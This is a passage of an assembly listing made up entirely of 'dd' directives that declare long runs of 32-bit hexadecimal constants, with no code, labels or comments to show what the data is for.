		dd 87722E15h, 6D0A0865h, 2544BE1Ch, 0B9EB0ECEh,	24EF9279h
		dd 12C88268h, 6D90200Bh, 16833A9h, 46C22A6Ch, 62168BE9h
		dd 1BAE0010h, 0F7810EE2h, 50031DBDh, 0FE7807Fh,	0E96B3F02h
		dd 0DD199A32h, 0D64A5FEEh, 5D8CD9F4h, 4C5B4AE4h, 95481855h
		dd 4252BA16h, 2E050925h, 0D9E6E461h, 2BF221B5h,	0F8715705h
		dd 8034A41Bh, 0B0670C38h, 3A086001h, 59293026h,	0F1F64177h
		dd 0D980234Bh, 2E1B72C7h, 2C8D757Fh, 120820B1h,	5EA5CDE9h
		dd 1593FB34h, 4B8262D3h, 0CE2F2774h, 30990CDBh,	3EA42A13h
		dd 0A374616h, 79D64201h, 0AB400104h, 9BC332E9h,	0D2A43D1Bh
		dd 17364211h, 9B7B846h,	50665D2Fh, 0E0CCCBB6h, 4A03132Eh
		dd 0C450AE5Ah, 34F55808h, 0B1AAC745h, 64D641FEh, 0A8DA3A51h
		dd 0E58BBF4Eh, 0BDA0E925h, 2BBD6851h, 7AED465Fh, 1063EDC4h
		dd 55C90BADh, 0DA76023Ch, 52CE84ECh, 518908AEh,	8763DF25h
		dd 0C3BF39Bh, 0B4EA0F06h, 30349DE9h, 0C712DFA6h, 30BE89D0h
		dd 64137F35h, 37E12579h, 13F16B30h, 0BB68C94Ah,	0CC60F441h
		dd 0C778ADC7h, 28160500h, 0F029690Eh, 6E072D51h, 12AF74E0h
		dd 0F064A866h, 9C412F0Ah
		dd 7ADCAF31h, 898B915h,	916354BBh, 80AC02E4h, 0D3F695C3h
		dd 57BFC2DFh, 0C81B3F89h, 519D6C1h, 0A36E9BF1h,	3E60D6DAh
		dd 4E306858h, 2678B618h, 6600B657h, 0E95F527Ah,	0F90FBDA8h
		dd 4A06F461h, 157C921Ah, 0B03928AFh, 0F6004541h, 4A5DEF4Bh
		dd 6FADA1D2h, 0A83BC6F5h, 0EB81F53Eh, 377A8BECh, 0FC2B608Dh
		dd 0E648C17Bh, 0D51C73B4h, 0C70550Ah, 4EC31193h, 4267D731h
		dd 0A8854866h, 5AA6A004h, 4F575B48h, 2E7D56EDh,	522D74C5h
		dd 568141FDh, 7B84B16Ah, 9490358Ah, 0E970522Fh,	44452F0Ch
		dd 12CB0C7Ch, 834D76Eh,	0BB02D453h, 607E18A5h, 7F4EBB9h
		dd 4B475A05h, 77F38043h, 9D02304Ch, 0F2E9DE29h,	2B94DF0Bh
		dd 0C33DD826h, 306F97BDh, 5065B91Eh, 5BBBABh, 805BDC20h
		dd 6CB7BF4h, 9AD0A6Ah, 7B005F97h, 262D13F9h, 56D02FF7h
		dd 6C17D600h, 0F3B84BA5h, 0A1ADAE4Bh, 686A6E89h, 0F64EED07h
		dd 0C7000C38h, 557CBE28h, 0FE1013BDh, 0AD094C68h, 397E377Eh
		dd 59FDB0C7h, 295B114Ah, 80664F1h, 216A388Ch, 182003A6h
		dd 0D4C533ADh, 0F647333Dh, 32E8C309h, 9FBD8556h, 0B517A97h
		dd 0E23BFEE3h, 208BD07Dh, 5F542D10h, 30D3BCF7h,	2552DB15h
		dd 0F978370Ch, 81D8FCB5h, 80C72D02h, 4BFE3952h,	0E9D398BFh
		dd 24056B25h, 931E40D2h, 0B5738069h, 0EB0E209Ch, 93C05966h
		dd 0C2F34102h, 7EAF62E9h, 391A860h, 0D425A4A3h,	0AAF9D589h
		dd 33D13FA9h, 0F388DAF5h, 0E42DE292h, 0B1454E38h, 88F23A13h
		dd 0E07CA0D3h, 3B686E18h, 2E4A1C0Ch, 42202AECh,	0D090C47Ah
		dd 22001228h, 30E70506h, 280146F4h, 5B072DC8h, 92FCB959h
		dd 853CF6BEh, 94EB37E9h, 9387C4C2h, 51E82C0Fh, 284E08B1h
		dd 443AC3B0h, 24051C3Eh, 0F0E990B3h, 0A170C6D7h, 71EB753h
		dd 0FD30ABB5h, 3BDD375Bh, 5E154DF4h, 0D46808FFh, 0E0123D48h
		dd 0F790450Ch, 94A0AF81h, 0CC8F5EC4h, 545F8BE8h, 87B73D21h
		dd 433C3BE9h, 3AE7B807h, 0B3482744h, 5A1225A7h,	4F05E1C0h
		dd 77AB99A4h, 0EEDDB47Ch, 0C2C0EFADh, 39612722h, 0E50B6FB0h
		dd 8940CB24h, 573D82Fh,	140E92BAh, 0BFDBC153h, 5DFEC669h
		dd 19785502h, 3129F744h, 4D613B00h, 0D17601B8h,	0E24310C5h
		dd 6AE98407h, 62887CBCh, 0D4E1EC39h, 55E6C009h,	57280172h
		dd 0AF0ACA2Dh, 3043A0Fh, 9700DA2Bh, 7F5FCF81h, 0C44B830h
		dd 5A6E3527h, 3DF3C164h, 88090511h, 0E2158F05h,	0C087844Bh
		dd 0BE58C3F1h, 62175BD4h, 9FAB5106h, 0F12578D3h, 0C28E5B06h
		dd 5C01CE13h, 0E83ED821h, 996882F4h, 6F2E7626h,	0A960420h
		dd 51E44091h, 0A51114BDh, 0AC5B9394h, 13A1105Fh, 73F6A84Bh
		dd 488051B3h, 8642642Dh, 8542BF1Dh, 4F2FE455h, 0A233842Bh
		dd 259C9006h, 0AC60F712h, 8FB5FEE7h, 6802EB92h,	0E117BFF8h
		dd 0A1F3F97Bh, 9F69E60Ch, 0F80E1615h, 0AA5AD317h, 98F5A867h
		dd 0E84A25B8h, 70DF635h, 0C8BE0F5Ch, 0A372C568h, 0E0621A2Dh
		dd 57C409A4h, 0DC252BC5h, 0FF6EE55Fh, 0B40582B1h, 2F13B6BBh
		dd 0BBA81859h, 221A0873h, 0DCB7685Ch, 0A91074E4h, 0CB611E01h
		dd 30F38757h, 81807681h, 45C11CEFh, 1966422h, 16E1FDC5h
		dd 3A1F6B01h, 0A941B28Fh, 0B7A87D74h, 0AD973A08h, 13E2A721h
		dd 0E304C709h, 1E9801EFh, 1BEF6CEh, 41E18173h, 0D84F9A70h
		dd 0AF16BFF1h, 66C5BC65h, 8BAC8C18h, 0C5628D2h,	0D05297D5h
		dd 0B923E917h, 2BDD8E4Bh, 1305D00h, 7FE2B951h, 68696630h
		dd 40D67494h, 0E171736h, 0D85209A0h, 0E90434B2h, 0B5FEEFE3h
		dd 3768F406h, 92147997h, 968CEA57h, 9DF3526Ch, 0B373D805h
		dd 0D58DEE31h, 84100C82h, 9880B071h, 14FB09BEh,	164090EAh
		dd 5D805F7h, 1FAA1F55h,	58097BB2h, 0F94A7C19h, 0B8A4080Fh
		dd 79F5C8B4h, 74882D5Bh, 80C200FEh, 0B3531CF2h,	0DA0930A0h
		dd 42D2F65Bh, 8E0660C6h, 0A0CA4F28h, 20ED530Ah,	4FBE6BC5h
		dd 83AF0512h, 0C7B05EA5h, 100A8409h, 72DD029h, 5D5B8B3Ah
		dd 0F52E0BBAh, 6D17C616h, 13FA1D73h, 17F249Bh, 0CD428CC3h
		dd 0ACDC8270h, 0C23564D3h, 0AFAFD91h, 0F19D0AF8h, 0AF669767h
		dd 0DECE2120h, 0E1EAB5FEh, 8B19515Dh, 32E9391Eh, 0D3F1C2D4h
		dd 0AA9D5844h, 80754B32h, 6725F680h, 1CDF5428h,	7A2A26Eh
		dd 0CC889E60h, 0C2B5E927h, 0B8950F81h, 0BD03F097h, 0F20FC29Eh
		dd 0C0456A7Fh, 372BECAh, 0B4DB07Eh, 52CB159Ch, 95A25900h
		dd 5116D35Fh, 0EDE043E9h, 4BEF77D1h, 3A9AB13Fh,	0EDDF35E9h
		dd 0CB5F0D6h, 0E9FC90BAh, 32D298F7h, 97C8A2FBh,	0AD10D1B6h
		dd 0C5290255h, 7EEA0158h, 0CE5D5213h, 0B0B7B8C6h, 33013B4Dh
		dd 0BC718C4Ch, 7B7162EAh, 22F96801h, 0E416B8Bh,	44F275Eh
		dd 0E8402B51h, 300A2C59h, 30E7F1B8h, 394FC5D8h,	10C8AEFDh
		dd 9043F445h, 0C256EE80h, 68DFA1C8h, 293F0AF5h,	298A6067h
		dd 9F88FD4Ah, 0BAC36331h, 0B9D750C1h, 41E5457Fh, 0A6DD97E9h
		dd 68055A44h, 6E8D2045h, 985B3324h, 0BF5EA93h, 21E9B1D9h
		dd 0D6EC6C2Fh, 53024604h, 904B3D68h, 0A2C0FD60h, 0A90041DFh
		dd 2E3C12Fh, 0FCE9DBF7h, 5998C308h, 705ED987h, 277E74B9h
		dd 54DB059Ah, 935C5E08h, 0FE5DC565h, 381A7EA6h,	8BDCFEFCh
		dd 12150550h, 0F8699B2Dh, 0E90740F9h, 0D7C55D27h, 30A34AB8h
		dd 6682997h, 0B062C1Ch,	14B05040h, 92282F19h, 93EC8A9Ch
		dd 52722C80h, 8013CCB2h, 1EBFEDEAh, 96AD33Bh, 0A05F746h
		dd 2BE44687h, 775F7107h, 2EE0F316h, 9413B75Ah, 3A506898h
		dd 0D9016300h, 1D8FBD55h, 0D7E44h, 2D7ADAE5h, 5B2FE911h
		dd 26ECDB5h, 2E9F0902h,	8269D057h, 0BEC36C08h, 1C5C7CDh
		dd 2149100Fh, 3A8F009Bh, 3DF1C77Fh, 30040945h, 0B8E50266h
		dd 0B90C0CBDh, 0C8209441h, 5FD89871h, 0B32F370h, 5FFEF4C2h
		dd 5084A49Ah, 0F7EE4BA0h, 0FAC06C2Bh, 24958887h, 9CFA5A31h
		dd 385F6F85h, 0F7800BB2h, 0C1C8C269h, 8BF707BDh, 0F73E75EBh
		dd 40E95C0Ch, 0FF64F98h, 0AD4D91E2h, 0B0B99C6Fh, 0EA8BDA50h
		dd 41369A57h, 129F8AD3h, 0FBCFD94Ah, 7C4A76ACh,	73E81A24h
		dd 9CE3C08Fh, 5105EBC1h, 0EF2A68B5h, 40463206h,	0EB414A24h
		dd 6102D0D2h, 9581D03Ah, 6C4A36CBh, 0A634644Ch,	89E7330Ch
		dd 812286DEh, 0DDF33B5Bh, 164A697Ah, 0BC141E04h, 0ECF4814h
		dd 8EEF17C5h, 7AC5DE32h, 4781D578h, 0A82FA2B5h,	476882EBh
		dd 9DF1664Ch, 0F5D263D4h, 9505551Ch, 573FE716h,	5401F209h
		dd 5A4660C1h, 0F7166B26h, 98024FDFh, 844713B5h,	27E806B4h
		dd 6EC8F64Bh, 0B1D01859h, 54FD296h, 5F402B3h, 0AD1FC875h
		dd 93273878h, 0AC75D1h,	2EB5CB5Bh, 918C2D9Ch, 11423293h
		dd 2AF2AA80h, 0B720A587h, 3CBB1CACh, 362D365h, 4A6F8C69h
		dd 0BEC2E993h, 6DDD486Ah, 22DF2F82h, 0C9DAE1A2h, 70DCF3EDh
		dd 2C3CC55Eh, 53138196h, 5D0AA5B7h, 0D82882C0h,	83952CB0h
		dd 0BAC7096Fh, 77C85711h, 2112E3CEh, 9E0313F8h,	0B0FC61E5h
		dd 20E9F201h, 8F9D47D1h, 4C9E04BEh, 0AA0A691h, 497DEE73h
		dd 0AC3F72A8h, 66F7FC25h, 4131206Bh, 2F3B5C97h,	9536BC5Fh
		dd 63C080F6h, 0B8220D3Fh, 368E0C0Bh, 0F8E1050h,	92D9740h
		dd 6FF92F67h, 0BA3E7EF6h, 408EE7FAh, 0F74E3362h, 6F261414h
		dd 0E4C22A94h, 3465F180h, 0FB958517h, 5F201FB1h, 0B11F1625h
		dd 2F42AB5Eh, 0E1D44A69h, 10A654F6h, 120A2069h,	0A218EBE9h
		dd 88AA9627h, 1F03BBFDh
		dd 7E93F55h, 0C22D0629h, 0A4F9B4ABh, 70C4535Fh,	0CAD7ECB9h
		dd 4EE90C8Ah, 7EB92CCDh, 20F530F2h, 237E3FBEh, 0C9E93C0Ah
		dd 0DCC94788h, 0C521963Ch, 2BF3EF30h, 84A5F993h, 870BA249h
		dd 0FF28C357h, 5C988BB9h, 0B068B1Ch, 3E051C5Dh,	0BACFB865h
		dd 0F702CFDFh, 585268F1h, 324C8F3h, 511BAF39h, 96E8B076h
		dd 44A8C0Bh, 0C2AAFB85h, 13CA3991h, 8033DD05h, 0D10102B4h
		dd 5402498h, 7359FC51h,	0FA4ABA5Ah, 90E9DC3h, 3ED930A6h
		dd 18735C7Bh, 0FC72C4B5h, 3FFCBE2Dh, 0B02FF277h, 0D0013ED1h
		dd 426E0751h, 0FF371168h, 0F288DAF3h, 2F2C3Dh, 49CF0C93h
		dd 550BE781h, 464F017h,	0F3C51540h, 0C5FB6017h,	13BD9F32h
		dd 10A423E9h, 0EDCBDDEh, 0A95D35Eh, 0A7E1B7BBh,	9FAE96F7h
		dd 0E906EC7Ch, 28691013h, 2AF5FFEh, 302E35EFh, 14C1EAD1h
		dd 21EA04E6h, 4C45584Dh, 5A7A54E4h, 0D903C82Fh,	2AA26D99h
		dd 0C9C1BFAh, 7A995CA0h, 896ABDh, 0F54BE908h, 417D96FEh
		dd 3C075168h, 1323C414h, 5E8F1AA8h, 1540F72Bh, 6A1E8968h
		dd 558947F2h, 24CDA695h, 16FA9885h, 0AA5B0B31h,	383301D8h
		dd 68CDE90Ah, 89F5BE2Fh, 49EA5D7Ch, 835A3187h, 0AEC43927h
		dd 26581138h, 8E5EBFE9h, 924E9366h, 52CF428Eh, 0EA5D5509h
		dd 0C2C1D5C8h, 8001C24Fh, 0FB60FCF3h, 0CA589DC2h, 70EFED27h
		dd 62C3BE42h, 0C1B0D7D2h, 0DBBF5452h, 0BD304946h, 2663A0E9h
		dd 13D9314Ch, 1AEADCFEh, 0E55D9A9h, 5DDAEB34h, 9714868h
		dd 0CDC98A50h, 0C7BB89BDh, 0F46617EBh, 3443C685h, 8812B004h
		dd 0ECF685C2h, 0B76809DEh, 0FD193A40h, 0B970FA89h, 31A7BF00h
		dd 0EF8101DEh, 0B46D0380h, 8695E943h, 559B2040h, 5F5D5716h
		dd 48D511C1h, 0BF042179h, 0EA1BE474h, 8092FD4h,	4A9B5A5Fh
		dd 6FF8B139h, 21126FF6h, 4FACAEBh, 6AC26855h, 2D98A6B2h
		dd 519D505Dh, 0BBE9653Ah, 0F41B26C7h, 0D2FAC72Fh, 4ECCDD24h
		dd 665BCD2Eh, 0A6455752h, 0AD35A708h, 58128077h, 2D6EC507h
		dd 0EBD83DE9h, 9B2559Fh, 0B25D2912h, 794CFD2Dh,	0AE2096B8h
		dd 0F658035Ch, 80ECD0DCh, 0B353FC90h, 0C37CC676h, 52529798h
		dd 0CFF54A57h, 0E2D98547h, 1D2982D6h, 0F0745FF7h, 32BB1ABCh
		dd 0FA7AFFA5h, 2BB4F6F6h, 8B14D425h, 2EB04345h,	59814E93h
		dd 7212B878h, 20B3FF8Eh, 9898FF4Ah, 23AF67D4h, 794773C3h
		dd 0FA8415Ah, 57B4BBF5h, 5F2A40FCh, 42B4397h, 322036D2h
		dd 0E942AE18h, 0FFEEE9D3h, 0BCED1BC8h, 44FB330Ch, 17530E45h
		dd 0E330EF66h, 18314CC2h, 0C6336295h, 61721DEEh, 3DBEBA2Eh
		dd 1829FE18h, 0F6FADE0Fh, 10CD095Ch, 84615AD2h,	2AAD3916h
		dd 83F492B1h, 3FD0B13Eh, 0F766893h, 38A46724h, 90EA133Fh
		dd 0F6FE05EFh, 8DF1034Ah, 44C09644h, 483E0A23h,	0C62AF78h
		dd 0B2F65839h, 632F527h, 0CA8B0AF7h, 4F33B687h,	0C0DFF772h
		dd 2DC738CAh, 0B1C048C3h, 0BCAACFE9h, 97CEDDFh,	1351135Bh
		dd 54B6763Ch, 460A798Bh, 61B80914h, 9E00524Eh, 2B9E3C05h
		dd 8248F497h, 40D71B67h, 8F81715Fh, 497D64C0h, 0AFD6E0D1h
		dd 0C6DAE2C2h, 0DD5D6B14h, 8EDC260Bh, 8C169502h, 0B201627Bh
		dd 4E6F70FEh, 0DE24ACD5h, 6BF2DA05h, 2CE4E4BEh,	108CC54Bh
		dd 61011699h, 5B808A72h, 7AF62FBDh, 72BE5600h, 0BD09C206h
		dd 0A451764h, 5279B034h, 975CF040h, 2C935354h, 6F1699AFh
		dd 2D4F4CBDh, 2D0800C1h, 1D7401CCh, 0B4826DB8h,	54E90802h
		dd 0DF2D4774h, 0FBB78336h, 0E2203EBEh, 11A649A0h, 847E472Ch
		dd 0C7F1D117h, 9F07CAECh, 0A301EF18h, 0FC7FAF25h, 3F8B2734h
		dd 0DE2C4075h, 2E23BC0h, 380A7973h, 0D31FCFEAh,	40EBC05Ah
		dd 861DB450h, 4EE9FC12h, 2CFBF584h, 21B75ED2h, 0F92FE912h
		dd 6C26142Dh, 0EF3D1354h, 2508AC50h, 2D3CF95Fh,	0B82AFE8h
		dd 62A7B8DFh, 792EB88Bh, 835981B4h, 0D8287C9Ah,	43BF05Bh
		dd 0E057E895h, 0E9D0EDC8h, 0B705703Ch, 517082D4h, 9F680053h
		dd 5B16AA56h, 7759ECE9h, 0F28912C3h, 443749AAh,	0F6AD09D1h
		dd 146082EAh, 55E14EDAh, 3AB82BE0h, 9ECDBAD3h, 814FDB23h
		dd 0C8024908h, 20BF03E9h, 0D158C162h, 27CAB0E1h, 0F91BE688h
		dd 3008E7F1h, 0D67EFC1Dh, 5E575C13h, 1C3D8BEAh,	77251598h
		dd 0BB73A0ECh, 0EB7F11A0h, 5A3FC6BDh, 0D437BB28h, 0A2BD7192h
		dd 0D20C6877h, 5D814BF1h, 207C82AAh, 827F98EDh,	68996218h
		dd 3303DC2Ch, 0F34A1132h, 0EAB8E12Dh, 0B05C77B9h, 6AC495BFh
		dd 0B15102B6h, 82CE88E6h, 0FF4DC6EAh, 0E1088540h, 76A0665Eh
		dd 292D4046h, 9DEA78BDh, 0F62D7AFCh, 96D72FAFh,	0F1122DDEh
		dd 0F8441323h, 2A6B6F7Ch, 2B627F4Dh, 0C142C575h, 6B0E29E9h
		dd 83C5B90h, 0F1764E1Bh, 81663066h, 0A3354A4Bh,	0DD40D599h
		dd 5F0338CDh, 3436F017h, 133CE0Ch, 14DECEEAh, 0AD6A1258h
		dd 5D11BA03h, 17B2411Dh, 77EB095Dh, 0A4E8BF59h,	680C1110h
		dd 0FEFB31D9h, 55A489B5h, 57C96071h, 0DAFD99B2h, 5FE9150Dh
		dd 0E8128E8Ch, 0B032FB5Dh, 77276A79h, 58C2EC56h, 55F17776h
		dd 0FED236C1h, 4610BC73h, 0C366276Fh, 0C981A0F9h, 593B7EF3h
		dd 0BA02A6DEh, 60D005B7h, 0E75361h, 12F4F381h, 0AC759894h
		dd 0C20114E7h, 12B6009Dh, 0E1812528h, 0CC0C0693h, 60D9F719h
		dd 0BE90809h, 9E907C22h, 0F73EE047h, 18F092D8h,	0AAA97434h
		dd 389B277Ch, 69EF7F56h, 2CE9C0A5h, 439BA2C2h, 0EFA6D91Eh
		dd 3DA2313Eh, 6D6131Eh,	0DE58839Eh, 0A5988E57h,	0BF5E902h
		dd 54297420h, 4E603DF7h, 1AA10E6Ch, 0C00FE395h,	3C27DE07h
		dd 0CD97602Dh, 0FC01AE33h, 20D46702h, 0DC5A17Bh, 20E3CDACh
		dd 1B00B631h, 0CD81233Fh, 4AB52E8Dh, 0C1D1EF60h, 2E4D08h
		dd 19834660h, 431CCB81h, 1DFB7838h, 0A84BBCE3h,	0EE65601Dh
		dd 31622F56h, 0CF16065Ah, 8A0B039Bh, 7D8B6287h,	50EAAC7Bh
		dd 28F74688h, 35DA2092h, 152A88C1h, 0FECB35Ch, 0DF71950Eh
		dd 72725DE9h, 47D6BB04h, 84EA60B2h, 0C12CFF4Fh,	290E1F5Ah
		dd 0EFF7817Ch, 78683F1Eh, 0E94B1D38h, 36FA1793h, 9E096B6Eh
		dd 0F5329876h, 990C1853h, 0ED4078A6h, 0AD6E23DDh, 5C99E17h
		dd 3F00D317h, 90088397h, 9B0F8879h, 0E325647Bh,	3A212A3h
		dd 983481F2h, 2450D27h,	483C6F2Dh, 4EA6EE9h, 8BC6EC40h
		dd 312C6B2Ch, 0A25A5A11h, 14AB906Eh, 8EC963DFh,	0BB930703h
		dd 5591ADB2h, 441CC424h, 0BF134C28h, 9CB9D6E0h,	3B68C16Ch
		dd 7D2D890Ah, 5BB1567Bh, 346B2EE9h, 5F5AF8C6h, 6005FF9h
		dd 0A8309925h, 39E2350Eh, 0E922A706h, 4864FE4Dh, 0F3B71358h
		dd 0A712BCD3h, 44CC2D09h, 0DC174FAEh, 0EE4F832Eh, 0C52E67D9h
		dd 848ABAC4h, 6284EB2Fh, 0F3021C8Ch, 484FC380h,	700668EBh
		dd 0B5569757h, 0F5A78172h, 8E21C517h, 2425ACCCh, 2850CC2h
		dd 50873D9Dh, 12D3F95Fh, 8E690E5Ch, 0A960D2BEh,	0B3E9C278h
		dd 3019F785h, 8933F177h, 5EB1C81Ah, 317AEA3Dh, 3A9568B9h
		dd 79E0E58Dh, 0F0539509h, 235D7C3Dh, 118481F4h,	68270B87h
		dd 55451918h, 0A9834649h, 0F63F04E1h, 0DF171050h, 58974050h
		dd 0EC5F4DE7h, 716D043Ch, 0D1AB39DDh, 0F05A5F43h, 3E12E068h
		dd 5A00059Dh, 215867EFh, 0C0CC046h, 0E9859E75h,	35B8644Bh
		dd 0B410AD4Fh, 0BBA4DABCh, 0E98376F2h, 0A3507F95h, 0D0091260h
		dd 8D10146h, 60AF08ABh,	80A65CD7h, 66F0E620h, 0F0885005h
		dd 3774D0F6h, 0DE3D00BFh
		dd 0E126E95Bh, 1DA6D891h, 9566D825h, 97FB1E7Dh,	0BA791875h
		dd 1E7A90CEh, 0E51952Ch, 0BBF3A9E0h, 0E9C45FF6h, 2776A8C7h
		dd 9894775Ah, 44AF685Bh, 0BD16AF3h, 8D4ED45Bh, 3B72D3ADh
		dd 0B93A36A1h, 3EF57D8Eh, 0F558F60Bh, 7FA51847h, 0BB5D39A6h
		dd 9EF5813Ah, 894F879Fh, 61D5ABEEh, 6C7A51E0h, 0C234E93Bh
		dd 0A9EF7006h, 0A7323DA8h, 0E69FCCFEh, 0A769504h, 0F9E6F5F2h
		dd 23E85450h, 8A49CF5Eh, 9E85784Dh, 0B56272BFh,	0D53C0B75h
		dd 6FE3AA3Ch, 0BE4B48CFh, 8B6ED629h, 0F7FC4ACDh, 0FB6F91E4h
		dd 0B7C06A1h, 2FF5070Ch, 6727CD70h, 0E3D6FCF4h,	41B46850h
		dd 53F80158h, 0C36A982Bh, 59BF2BF6h, 45776B9Eh,	475209EBh
		dd 3963701Ah, 0E77CD098h, 34065E58h, 0FB161F0Bh, 7B47C41Ch
		dd 0E16F298Dh, 492A7E6Eh, 0C17D1F2Bh, 6602A3F1h, 0A1984018h
		dd 0CB5A26A7h, 68C215A1h, 0EED987F1h, 0ED06010h, 3F4436B9h
		dd 6F5B057Ah, 0DFF6F005h, 4C6CBEFh, 5AD73001h, 0A10DDFDh
		dd 454C99Dh, 1016CA79h,	0DD1D94BCh, 43F935Ah, 1FEF16Ch
		dd 88F3A9Ch, 0D8C2FD6Ah, 9E1DE907h, 0C5F525E5h,	0CCD8436Ah
		dd 48205858h, 4BBF4A54h, 0F3A2F48Eh, 5BD73158h,	295244Dh
		dd 377C4D3Fh, 4E200AC0h, 81101F00h, 24B755F3h, 0FDE92573h
		dd 6676AEC2h, 8B4E452Dh, 0D7C77D6h, 0E3215F7Ah,	3FFEE7D0h
		dd 68C22AA2h, 1877605Bh, 0FB3BA1Ch, 0E937202Ch,	0B04FA655h
		dd 1D7AE2E0h, 0FE291C3Dh, 0FC8526h, 37F2EF81h, 66700440h
		dd 8E880476h, 0C2F92915h, 76FCC7BCh, 7D733680h,	0DFD2F71Bh
		dd 30B5E604h, 17EB8061h, 2F5106C8h, 0D7E5FFDAh,	388E0648h
		dd 90EBC402h, 0AB09BF8Ch, 4524FD5h, 0A4984BE9h,	4F9D52Ch
		dd 0BB1A13AFh, 4ED3571Eh, 0AF2B6BF1h, 52A84529h, 3156F9AEh
		dd 5F10A9FEh, 0FF1AC46Bh, 404F31C0h, 3241B554h,	3016A03h
		dd 7D47648Fh, 143C0D20h, 0F2237678h, 4156C10Bh,	2F95E682h
		dd 774E47F2h, 2D7BA3ECh, 0E6A6BB3Eh, 4060F002h,	33FB68C7h
		dd 5D731F1Fh, 2BF35845h, 0B41E505Bh, 0E48B5271h, 4C83FA12h
		dd 5D2DCCD5h, 0C372185Dh, 624996B4h, 71A80A07h,	0B89A160Bh
		dd 6CAB5BE8h, 27404CA2h, 6F33B059h, 1B852D05h, 7EDBB51Dh
		dd 546D4895h, 0B033C3E5h, 0EEE904DFh, 8485948Bh, 3FB8BF00h
		dd 0F20949B4h, 0D6169C7Fh, 0EF3DBA3Ch, 0DA2D7A01h, 3E04AE04h
		dd 0BA161113h, 0D724C50Bh, 0EADF6BA9h, 3E1FC13Eh, 1249E73Ah
		dd 2A09CACDh, 0C0BBDA53h, 9549B0E0h, 0F12F683Dh, 1A0E62Bh
		dd 178138ACh, 8EF576E9h, 695BDA81h, 362587C2h, 4AAD75AFh
		dd 0E92B7CAFh, 33C0AA4Bh, 39C0F4B3h, 0ACDA02EBh, 0CE0B38A0h
		dd 0E86FEE29h, 5011F259h, 895D95E3h, 0E195F683h, 8BF0C9E9h
		dd 0E6F329ECh, 0D8013F5Fh, 0BF1054F6h, 0BD70B0F7h, 29126A5Eh
		dd 0B4EC12FBh, 5A4F3E86h, 0C1586DF2h, 0C68ED83Ah, 68435B58h
		dd 93123F32h, 9DB9F0DBh, 0DF628CBh, 5D22F109h, 0E56A9483h
		dd 9C62701h, 216EB2E3h,	2ACCEA41h, 122BB36Fh, 7AA375B1h
		dd 3DE0D266h, 84FAED4Ah, 9C04BE3Bh, 37BAEAB8h, 0FAA69271h
		dd 0DDC0AB75h, 5429EC60h, 601AF983h, 0BACDC453h, 6846E93Ch
		dd 0D82864F9h, 900530C3h, 7E4A8BFDh, 0F3B5AE77h, 17F84AA5h
		dd 563C0A9h, 0A6395F35h, 7325FB2Fh, 71812194h, 30602C1Dh
		dd 3ECD16F1h, 6E3C47EBh, 0E9616075h, 2ECB84E0h,	8FADC4Eh
		dd 0BF018C91h, 1E54224Bh, 4064060h, 21E5ED38h, 0C1E380F9h
		dd 4F3CD4E6h, 87E8D062h, 52E9F713h, 5ABE084h, 0BBD6039Fh
		dd 0E8C915Fh, 0BD0ED8h,	2B6A227Eh, 53CD814Dh, 0DD4471F1h
		dd 2EA52B87h, 185C663Eh, 7EF5811Fh, 29E43680h, 4FD15DEBh
		dd 0AAE8E3h, 69041C44h,	9DB0A5E9h, 0B10A2AA5h, 8AFC3E20h
		dd 0BD6055E2h, 26031378h, 3E79BD45h, 0FD29C14Fh, 0FFDF842Bh
		dd 0F85712DCh, 0FEDF2F44h, 322CC37Bh, 0DE400112h, 166852F9h
		dd 3566B76Ch, 0A0638209h, 44D7E45h, 0C14F6AC5h,	823E0CEFh
		dd 4B8EC267h, 71696863h, 3D5C3E15h, 311BCE03h, 3A091DB1h
		dd 828D2D74h, 642BEB8Ch, 25875DE4h, 0EFCC031Ch,	9FA910F2h
		dd 38316E0Eh, 92E84FBEh, 6F32C175h, 3A555E6Bh, 4E01C9B0h
		dd 6C70AFF0h, 0F5BFE95Eh, 0D568AB50h, 98E23EF9h, 5FFE306Fh
		dd 0C55324D1h, 314BEFC5h, 0E8BDAB8Ah, 3E3AA408h, 94A52040h
		dd 0E077DECAh, 0AADA424Ch, 9B785F15h, 9E59E83Ah, 4C0558C1h
		dd 0E5B50187h, 86A83489h, 1692AA22h, 0FFBD41A4h, 847D6AE1h
		dd 0E3E8B517h, 0C5CC408h, 6210E914h, 5A5800FDh,	8B363A0Dh
		dd 0CF351C1Dh, 518412Bh, 305FE2D4h, 0CA4AC96Fh,	7E21CBAEh
		dd 0C781784Eh, 6170CF88h, 20AB4023h, 4BC1FA6Fh,	95A35050h
		dd 8A8C95FDh, 4BF5B54h,	0EF115705h, 630231A7h, 934BF48h
		dd 0A1CCE58Ch, 5B685F40h, 0A76BB89Dh, 0DB1557B0h, 9F45B533h
		dd 64DE268Bh, 3055637Dh, 7C82171Bh, 0D4268BF4h,	24E8E00Dh
		dd 43DD222Fh, 96C1CA43h, 45E76B67h, 4C78013h, 11BAA2Fh
		dd 72A8685Ch, 0D7054E26h, 0C130B827h, 0AFD2EEABh, 63B5820Fh
		dd 1D680BA1h, 5A81C719h, 3E84B62Bh, 61425AB3h, 57C83108h
		dd 22494C4h, 0FD6BDED6h, 0D490E203h, 0EC80140Fh, 5251C4Dh
		dd 0B3AE5C70h, 7EF5FE4h, 85B6DB8h, 2D4A5361h, 0FAC075F2h
		dd 0C42676B8h, 0CA01BD2Bh, 513FEB57h, 0F71AE22Ch, 0D1570AD1h
		dd 0F8BB62DCh, 0BD594EA4h, 0D3E9B03Dh, 0A6ACB526h, 85285C4Ch
		dd 8D2F8CC8h, 0F2A918C6h, 0E45F8AC7h, 257B6B45h, 841F5802h
		dd 0EB83C254h, 0AF71EA2Eh, 0BF3500C9h, 7F4B3F5Ch, 0C4EF0460h
		dd 0BEF3DE51h, 0FB2067F1h, 2DA47205h, 0D162279Fh, 3C8B0702h
		dd 0BF88B457h, 397E0EE1h, 58C21230h, 0B306A2F8h, 0C28092Eh
		dd 3D8BFC09h, 2F9A5682h, 4F61EF5h, 2F131E2Ch, 4AB8EA4Fh
		dd 6DE90862h, 310ECFD6h, 8EE4CF5h, 0D1ED48C1h, 8D806C25h
		dd 96725DB9h, 0A1F2A5Fh, 0C6900757h, 371A42F1h,	0C9123754h
		dd 5C0678FCh, 1B48289Fh, 70DDF703h, 12E90409h, 93087430h
		dd 7EF7EA5Eh, 92BFEA84h, 5C0E154h, 68804174h, 0A75600D6h
		dd 0E3815B6Eh, 0C0304AD0h, 63B20C14h, 1A514C67h, 0BEC3565Fh
		dd 0A24D6AC1h, 0EDE2417Ah, 6E6DB51Bh, 805C2A5h,	0B3EBDC84h
